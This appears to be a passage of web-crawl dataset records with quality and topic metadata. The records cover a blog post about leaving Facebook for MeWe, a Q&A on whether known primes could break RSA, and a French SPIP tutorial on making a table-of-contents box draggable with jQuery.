1453,
1471,
1472,
1474,
1475,
1477,
1478,
1480,
1481,
1483,
1484,
1486,
1487,
1489,
1490,
1503,
1504,
1766,
1767,
1769,
1770,
1773,
1774,
1793,
1794,
1797,
1798,
1813,
1814,
1817,
1818,
1838,
1839,
1842,
1843,
1858,
1859,
1861,
1862,
1880,
1881,
1883,
1884,
1886,
1887,
1900,
1901,
1981,
1982,
1984,
1985,
1988,
1989,
2010,
2011,
2014,
2015,
2026,
2027,
2030,
2031,
2039,
2040,
2043,
2044,
2056,
2057,
2059,
2060,
2078,
2079,
2081,
2082,
2084,
2085,
2098,
2099,
2294,
2295,
2297,
2298,
2301,
2302,
2317,
2318,
2321,
2322,
2341,
2342,
2345,
2346,
2373,
2374,
2377,
2378,
2391,
2392,
2394,
2395,
2413,
2414,
2416,
2417,
2419,
2420,
2433,
2434,
2498,
2499,
2501,
2502,
2505,
2506,
2543,
2544,
2547,
2548,
2585,
2586,
2589,
2590,
2622,
2623,
2626,
2627,
2659,
2660,
2662,
2663,
2681,
2682,
2684,
2685,
2687,
2688,
2701,
2702,
2909,
2910,
2912,
2913,
2916,
2917,
2970,
2971,
2974,
2975,
3036,
3037,
3040,
3041,
3104,
3105,
3108,
3109,
3185,
3186,
3188,
3189,
3207,
3208,
3210,
3211,
3213,
3214,
3227,
3228,
3316,
3317,
3319,
3320,
3323,
3324,
3341,
3342,
3345,
3346,
3373,
3374,
3377,
3378,
3395,
3396,
3399,
3400,
3417,
3418,
3420,
3421,
3439,
3440,
3460,
3497,
3519,
3583,
3658,
3659,
3694,
3727,
3749,
3774,
3796,
3816,
3845,
3872,
3873,
3917
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 3917,
"ccnet_original_nlines": 330,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.23759791254997253,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.11618798971176147,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.22062663733959198,
"rps_doc_frac_unique_words": 0.5,
"rps_doc_mean_word_length": 4.90500020980835,
"rps_doc_num_sentences": 78,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.106886863708496,
"rps_doc_word_count": 600,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.03907576948404312,
"rps_doc_frac_chars_dupe_6grams": 0.016309890896081924,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.044172611087560654,
"rps_doc_frac_chars_top_3gram": 0.030581040307879448,
"rps_doc_frac_chars_top_4gram": 0.058103978633880615,
"rps_doc_books_importance": -295.89697265625,
"rps_doc_books_importance_length_correction": -295.89697265625,
"rps_doc_openwebtext_importance": -140.1320037841797,
"rps_doc_openwebtext_importance_length_correction": -140.1320037841797,
"rps_doc_wikipedia_importance": -139.6378173828125,
"rps_doc_wikipedia_importance_length_correction": -139.6378173828125
},
"fasttext": {
"dclm": 0.4896451234817505,
"english": 0.8441296815872192,
"fineweb_edu_approx": 1.6000884771347046,
"eai_general_math": 0.003566439962014556,
"eai_open_web_math": 0.16380512714385986,
"eai_web_code": 0.00001788000008673407
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.076",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.4",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "6",
"label": "Promotional/Advertisement"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "2",
"label": "Click Here References"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "17",
"label": "Product Page"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-5,749,543,799,854,024,000 |
Search
• Catherine Norton
Leaving Facebook
Updated: Nov 22, 2021
After 13 years and losing 860+ friends, being censored hurts. I've been with Facebook longer than most of my adult relationships.
Do you suppose it was because I am a female writer with the audacity to write books specifically for women? Or could it really be the "scandalous" art on the book cover that others can post, but the writer cannot? I honestly do not know the answer because there is no one at Facebook to ask these crucial questions.
There is no legal recourse for censoring, silencing, and oppression on Facebook. A senior attorney at the Civil Liberties Union of NY informed me that Facebook is a private entity and can do whatever they want because we agree to their terms to use it. Although Facebook seems like a public forum, it is not. Free speech and individual rights are not guaranteed as they would be in a public town square.
Don't you find it unnerving when friends suddenly disappear without explanation only to emerge a month later feeling ragged and beat down by a system that suddenly yanks access without due process, leaving others shaken and afraid that they will be next?
Facebook acts more like a totalitarian regime than a "social" media platform, and it is getting worse by the day. What are we really getting in exchange for our freedom and sale of our personal information for advertising and God-knows-what-else? All we want to do is connect with each other, share ideas and laugh at kitten photos. We want community, not an abusive platform that mines our data for dollars and takes money from foreign entities to create division and skew elections.
Have you ever wondered how Mark Zuckerberg became a $113.5 billionaire*? He did it by selling our personal data and access to our eyes and minds. There may be no fee to join Facebook, but we definitely pay a cost. He saw our need to connect, rounded us up like cattle and sold us out.
I am moving to the MeWe community, an open forum with no censoring, no advertising, and no selling of personal information. Yes, it is new, and most of your friends won't be on it, but it is similar to Facebook and simple to use. Perhaps we can migrate to MeWe as we migrated from MySpace to Facebook years ago. I hope you try MeWe because I will miss seeing photos of your pets, families and the fantastic meals you enjoy! Please friend me at https://mewe.com/i/cathynorton3. If you find any other cool, safe places to connect online, please drop a note in the comments.
I've also decided to move my reader's forum to my website, so I will never lose access to it. I am still setting it up, so please give me a minute to figure it out. Thanks so much.
*per Google on 10/30/2021
#ReadTheStain
Image courtesy of MeWe.com
5 views0 comments
Recent Posts
See All
Halo
| {
"url": "https://www.catherineiversnorton.com/post/leaving-facebook",
"source_domain": "www.catherineiversnorton.com",
"snapshot_id": "crawl=CC-MAIN-2022-33",
"warc_metadata": {
"Content-Length": "742716",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:OK2CEPEWFAYSYXI52DWFZJ54WJLUL5TA",
"WARC-Concurrent-To": "<urn:uuid:1cafeb11-84b8-4b28-a712-4af0ff743985>",
"WARC-Date": "2022-08-16T07:38:37Z",
"WARC-IP-Address": "34.117.168.233",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:R5R7R44ZLQFWXIJXL2TCLKHBZMBYJZ2U",
"WARC-Record-ID": "<urn:uuid:e93e9ed2-0bed-4d37-8963-c8204c1bb62b>",
"WARC-Target-URI": "https://www.catherineiversnorton.com/post/leaving-facebook",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:8a4705f4-5745-4ae3-8af9-e4ad36c62f35>"
},
"warc_info": "isPartOf: CC-MAIN-2022-33\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for August 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-80\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
2,
9,
30,
31,
48,
49,
71,
72,
73,
203,
204,
205,
521,
522,
926,
927,
928,
1183,
1184,
1185,
1670,
1671,
1672,
1957,
1958,
1959,
2531,
2532,
2713,
2714,
2715,
2741,
2742,
2743,
2757,
2758,
2759,
2786,
2787,
2805,
2806,
2819,
2820,
2828,
2829,
2834,
2835,
2837
],
"line_end_idx": [
2,
9,
30,
31,
48,
49,
71,
72,
73,
203,
204,
205,
521,
522,
926,
927,
928,
1183,
1184,
1185,
1670,
1671,
1672,
1957,
1958,
1959,
2531,
2532,
2713,
2714,
2715,
2741,
2742,
2743,
2757,
2758,
2759,
2786,
2787,
2805,
2806,
2819,
2820,
2828,
2829,
2834,
2835,
2837,
2838
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 2838,
"ccnet_original_nlines": 48,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.45423728227615356,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.018644070252776146,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.14576271176338196,
"rps_doc_frac_unique_words": 0.5531061887741089,
"rps_doc_mean_word_length": 4.462925910949707,
"rps_doc_num_sentences": 31,
"rps_doc_symbol_to_word_ratio": 0.0016949200071394444,
"rps_doc_unigram_entropy": 5.23301887512207,
"rps_doc_word_count": 499,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.007184550166130066,
"rps_doc_frac_chars_top_3gram": 0.008082619868218899,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -238.93284606933594,
"rps_doc_books_importance_length_correction": -238.93284606933594,
"rps_doc_openwebtext_importance": -132.78749084472656,
"rps_doc_openwebtext_importance_length_correction": -132.78749084472656,
"rps_doc_wikipedia_importance": -95.3597412109375,
"rps_doc_wikipedia_importance_length_correction": -95.3597412109375
},
"fasttext": {
"dclm": 0.02947830967605114,
"english": 0.9646156430244446,
"fineweb_edu_approx": 0.9713648557662964,
"eai_general_math": 0.003814100055024028,
"eai_open_web_math": 0.043345510959625244,
"eai_web_code": 0.0006373500218614936
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.678",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "303.48",
"labels": {
"level_1": "Social sciences",
"level_2": "",
"level_3": "Social sciences — Dictionaries"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "5",
"label": "Evaluate"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "4",
"label": "Metacognitive"
}
},
"document_type_v1": {
"primary": {
"code": "9",
"label": "Personal/Misc"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "2",
"label": "Click Here References"
}
},
"document_type_v2": {
"primary": {
"code": "16",
"label": "Personal Blog"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "2",
"label": "Partially Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-3,860,252,561,389,504,500 | 1
$\begingroup$
For example, if they somehow got a function that would churn out any arbitrary amount of primes in a row. Could they break the RSA problem then?
$\endgroup$
1
• 1
$\begingroup$ I think this answer probably answers your question (with a little thought). $\endgroup$
– Reid
May 8 '15 at 22:24
1
$\begingroup$
Mathematically, yes, it will work. Practically, you will require an extremely very long time and an incredible amount of energy, considering the sizes of the primes involved in RSA (usually around 1024-bit prime numbers). It is about billion and billions of years and billions and billions times the energy of the whole universe (RSA: How effective is this keypair-trash attack)
$\endgroup$
Not the answer you're looking for? Browse other questions tagged or ask your own question. | {
"url": "https://crypto.stackexchange.com/questions/25524/if-someone-had-a-list-of-all-primes-would-it-be-possible-for-them-to-factor-any?noredirect=1",
"source_domain": "crypto.stackexchange.com",
"snapshot_id": "crawl=CC-MAIN-2022-05",
"warc_metadata": {
"Content-Length": "119766",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:74GWSEX6TPUSETGI6AUJM7HCG2HOUKOQ",
"WARC-Concurrent-To": "<urn:uuid:581d1074-10f7-4fb3-8799-650faad4d9ba>",
"WARC-Date": "2022-01-28T06:02:58Z",
"WARC-IP-Address": "151.101.65.69",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:B3RMTWWI6GFNZYEXQ34YLBXHK27XW3WZ",
"WARC-Record-ID": "<urn:uuid:604c4112-dfcb-455a-914b-fa652d1e9bc5>",
"WARC-Target-URI": "https://crypto.stackexchange.com/questions/25524/if-someone-had-a-list-of-all-primes-would-it-be-possible-for-them-to-factor-any?noredirect=1",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:7542a1a0-d892-4fed-92a8-6498f5d1ba8e>"
},
"warc_info": "isPartOf: CC-MAIN-2022-05\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for January 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-78\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
2,
16,
17,
162,
163,
175,
177,
183,
289,
300,
323,
325,
339,
340,
719,
720,
732,
733
],
"line_end_idx": [
2,
16,
17,
162,
163,
175,
177,
183,
289,
300,
323,
325,
339,
340,
719,
720,
732,
733,
823
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 823,
"ccnet_original_nlines": 18,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3705882430076599,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.023529410362243652,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.2647058665752411,
"rps_doc_frac_unique_words": 0.7045454382896423,
"rps_doc_mean_word_length": 4.780303001403809,
"rps_doc_num_sentences": 7,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.384503364562988,
"rps_doc_word_count": 132,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.052297938615083694,
"rps_doc_frac_chars_top_3gram": 0,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -74.56757354736328,
"rps_doc_books_importance_length_correction": -74.56757354736328,
"rps_doc_openwebtext_importance": -48.58305740356445,
"rps_doc_openwebtext_importance_length_correction": -48.45148849487305,
"rps_doc_wikipedia_importance": -22.566539764404297,
"rps_doc_wikipedia_importance_length_correction": -22.566539764404297
},
"fasttext": {
"dclm": 0.9588716626167297,
"english": 0.8988929390907288,
"fineweb_edu_approx": 2.193901300430298,
"eai_general_math": 0.00038355999276973307,
"eai_open_web_math": 0.47597020864486694,
"eai_web_code": -0.000010009999641624745
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.82",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "512.7",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Algebra"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "1",
"label": "Leftover HTML"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-4,393,802,681,987,161,000 | jp.guihard.net
https://www.jp.guihard.net/spip.php?article133
Couteau Suisse : lame un sommaire pour vos articles
vendredi, 15 avril 2011 / Jean-Philippe Guihard
Cette page a pour objectif de tester des javascripts qui permettent de placer le sommaire automatique de la lame idoine du couteau suisse dans une fenêtre que l’on peut déplacer à volonté et que l’on peut aussi fermer si on ne veut plus afficher le sommaire.
J’ai ajouté un paramètre draggable à la boîte sommaire modifiée dans son css. Maintenant, cela fonctionne pil poil me semble-t-il.
Reste à faire :
J’ai tout repris car cela ne fonctionnait pas avec IE7 comme par hasard. Voici le principe du sommaire du plugin Couteau suisse : il a un fond de palette sommaire avec un background que j’ai fixé à son bas pour avoir l’arrondi du bas de palette, on modifie le bg de la partie titre et maintenant cela fonctionne sous IE 7.
J’ai ôté la partie fermeture de la palette sommaire qui ne sert pas à grand chose contrairement à ce que je pensais. En plus, cela merdouille complètement sous IE7 aussi.
Le principe est de surcharger les fichiers gérant le sommaire du couteau suisse. Surcharger consiste à copier lesdits fichiers dans votre dossier squelettes en respectant la même hiérarchie que dans le dossier du couteau suisse. Le couteau suisse, lorsqu’il appelle une fonction va regarder d’abord dans le dossier squelettes s’il trouve un fichier de même nom. Dans l’affirmative, il va utiliser celui du dossier squelettes en lieu et place de l’original. Vous pouvez donc réécrire, modifier le contenu de cette copie comme bon il vous semble et les fichiers originaux peuvent être mis à jour par le couteau suisse sans que votre beau travail soit détruit.
Les fichiers source sont en téléchargement.
Il vous faut créer un dossier « fonds », un dossier « img », un sous dossier « sommaire » dans le dossier « img » et un dossier « outils » dans votre dossier squelettes. Vous copiez le fichier sommaire .html dans le dossier fonds, le fichier sommaire.css.html dans le dossier outils et les fichiers d’images dans le sous dossier « sommaire » du dossier « img ».
Vous avez donc :
Le source du fichier fonds/sommaire.html
[(#REM) l'appel à jquery pour la fonction draggable ]
<script type="text/javascript" src="[(#CHEMIN{lib/jquery-ui-1.8.9/ui/minified/jquery-ui.min.js})]"></script>
<script type="text/javascript">
//Ajout de la fonction draggable pour la boite sommaire
//version du 12 avril 2011, 19h05
//jean-philippe guihard
//je court-circuite en surchargeant la fonction cs_sommaire_init()
//de la lame sommaire automatique du couteau suisse
//le but du jeu est de déplacer la boite, de récupérer l'event stop pour
//court-circuiter le changement de class de la barre de titre
//On initialise la variable $dragge à faux, puis on la met a vrai
//si draggage de la boite ce qui court-circuite le toggleClass
//via le .click( function)
//j'initialise la variable $dragge a false. Cette variable recueille si la boite de sommaire
//a été ou pas déplacée
$dragge = false
//surcharge de la fonction du CS
function cs_sommaire_init() {
//met la boite en draggable via son id outil_sommaire
$("#outil_sommaire").draggable({
// applique une opacite de 45 lors du draggage
opacity: 0.45 ,
scroll: false ,
//met la variable dragge a vraie car vient d'etre deplace via l'event stop
stop: function() {
$dragge = true;
}
});
jQuery(sommaire_sel, this)
.cs_todo()
.click( function(){
// recupere l'event click, si dragge est vrai, donc si sommaire deplace
// je ne demande pas a replier/deplier le sommaire
//si faux, pas de deplacement du sommaire, alors je plie/deplier le sommaire
if (!$dragge){
jQuery(this).toggleClass('cs_sommaire_replie')
.next().toggleClass('cs_sommaire_invisible')
// annulation du clic
return false;
}else{
if($dragge){
$dragge = false;
}
}
});
}
[(#REM)
Ce fond est surchargeable dans vos squelettes.
Utilisation d'un cookie pour stocker l'etat du sommaire au moment de quitter la page.
Champs disponibles :
fond_css : 'avec' ou 'sans'
sommaire : les liens du sommaire en <li></li>
Indispensable :
<div class="cs_sommaire_titre_XXX"> et <ul> places a la suite l'un de l'autre
Par defaut : sommaire deplie
Pour un sommaire replie a la premiere visite de la page :
- ajouter la classe 'cs_sommaire_replie' a : <div class="cs_sommaire_titre_XXX">
- ajouter la classe 'cs_sommaire_invisible' a : <ul>
]
[(#REM)
j'ai juste ajouté le lien de retour vers le haut de la page
]
<div class="cs_sommaire cs_sommaire_[(#ENV*{fond_css})]_fond" id="outil_sommaire">
<div class="cs_sommaire_inner">
<div class="cs_sommaire_titre_[(#ENV*{fond_css})]_fond" title="Replier déplier déplacer le sommaire"> <:couteau:sommaire_titre:> </div>
<ul>
[(#ENV*{sommaire})]
<li><a href="#hautDePage" title="Revenir en haut de la page">Retour en haut de page</a></li>
</ul>
</div>
</div>
Lien :
couteau suisseLe couteau suisse sur sip-contrib : http://www.spip-contrib.net/Le-Couteau-Suisse.
Vous trouverez sur ces pages tout ce qu’il faut savoir sur les multiples possibilités de ce plugin développé par Patrice Vanneufville. Son principe de base est, comme son nom l’indique, de fournir des outils divers nommés en toute logique « lame ».
J’utilise sur ce site les lames suivantes :
Documents à télécharger
• Les fichiers sources de cet article., (Zip - 9.5 ko) | {
"url": "https://www.jp.guihard.net/spip.php?page=imprimer&id_article=133",
"source_domain": "www.jp.guihard.net",
"snapshot_id": "crawl=CC-MAIN-2022-21",
"warc_metadata": {
"Content-Length": "14482",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:DKTLHXQ353IMAWOZUMVBCHZM7AUJVCHM",
"WARC-Concurrent-To": "<urn:uuid:743a8256-3acc-41e6-b370-2cf9387060fd>",
"WARC-Date": "2022-05-29T08:43:55Z",
"WARC-IP-Address": "213.186.33.4",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:6KIELX4SAIRRQXKES3HBA2K6EHGFDZ5N",
"WARC-Record-ID": "<urn:uuid:de1f1431-9f2f-42eb-a25b-c9f0711f48c7>",
"WARC-Target-URI": "https://www.jp.guihard.net/spip.php?page=imprimer&id_article=133",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:97c575af-74fa-402a-854a-0475b72865ab>"
},
"warc_info": "isPartOf: CC-MAIN-2022-21\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-189\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
15,
62,
114,
162,
163,
422,
423,
554,
555,
571,
572,
895,
896,
1067,
1068,
1726,
1727,
1771,
1772,
2134,
2135,
2152,
2153,
2194,
2195,
2249,
2358,
2359,
2391,
2392,
2448,
2482,
2506,
2573,
2625,
2698,
2760,
2826,
2889,
2916,
2917,
3010,
3034,
3050,
3083,
3113,
3167,
3208,
3255,
3281,
3307,
3382,
3411,
3443,
3455,
3461,
3462,
3497,
3524,
3560,
3632,
3683,
3760,
3799,
3870,
3947,
3993,
4031,
4062,
4099,
4148,
4197,
4223,
4243,
4244,
4246,
4247,
4248,
4256,
4311,
4405,
4406,
4435,
4479,
4541,
4542,
4566,
4660,
4661,
4698,
4764,
4861,
4930,
4931,
4933,
4934,
4942,
5010,
5012,
5013,
5096,
5129,
5281,
5289,
5314,
5415,
5424,
5432,
5439,
5440,
5447,
5448,
5545,
5546,
5795,
5796,
5840,
5841,
5842,
5843,
5867
],
"line_end_idx": [
15,
62,
114,
162,
163,
422,
423,
554,
555,
571,
572,
895,
896,
1067,
1068,
1726,
1727,
1771,
1772,
2134,
2135,
2152,
2153,
2194,
2195,
2249,
2358,
2359,
2391,
2392,
2448,
2482,
2506,
2573,
2625,
2698,
2760,
2826,
2889,
2916,
2917,
3010,
3034,
3050,
3083,
3113,
3167,
3208,
3255,
3281,
3307,
3382,
3411,
3443,
3455,
3461,
3462,
3497,
3524,
3560,
3632,
3683,
3760,
3799,
3870,
3947,
3993,
4031,
4062,
4099,
4148,
4197,
4223,
4243,
4244,
4246,
4247,
4248,
4256,
4311,
4405,
4406,
4435,
4479,
4541,
4542,
4566,
4660,
4661,
4698,
4764,
4861,
4930,
4931,
4933,
4934,
4942,
5010,
5012,
5013,
5096,
5129,
5281,
5289,
5314,
5415,
5424,
5432,
5439,
5440,
5447,
5448,
5545,
5546,
5795,
5796,
5840,
5841,
5842,
5843,
5867,
5921
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 5921,
"ccnet_original_nlines": 121,
"rps_doc_curly_bracket": 0.0037155901081860065,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.06672369688749313,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.012831480242311954,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.2848588526248932,
"rps_doc_frac_unique_words": 0.4348958432674408,
"rps_doc_mean_word_length": 5.38671875,
"rps_doc_num_sentences": 50,
"rps_doc_symbol_to_word_ratio": 0.007698889821767807,
"rps_doc_unigram_entropy": 5.249898433685303,
"rps_doc_word_count": 768,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.010152280330657959,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.010635729879140854,
"rps_doc_frac_chars_top_3gram": 0.015711870044469833,
"rps_doc_frac_chars_top_4gram": 0.008701959624886513,
"rps_doc_books_importance": -502.706787109375,
"rps_doc_books_importance_length_correction": -502.706787109375,
"rps_doc_openwebtext_importance": -350.5252990722656,
"rps_doc_openwebtext_importance_length_correction": -350.5252990722656,
"rps_doc_wikipedia_importance": -283.15673828125,
"rps_doc_wikipedia_importance_length_correction": -283.15673828125
},
"fasttext": {
"dclm": 0.20125550031661987,
"english": 0.001970869954675436,
"fineweb_edu_approx": 1.4432119131088257,
"eai_general_math": -0.000008940000043367036,
"eai_open_web_math": 0.733912467956543,
"eai_web_code": 1.0000100135803223
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.678",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "2",
"label": "Click Here References"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
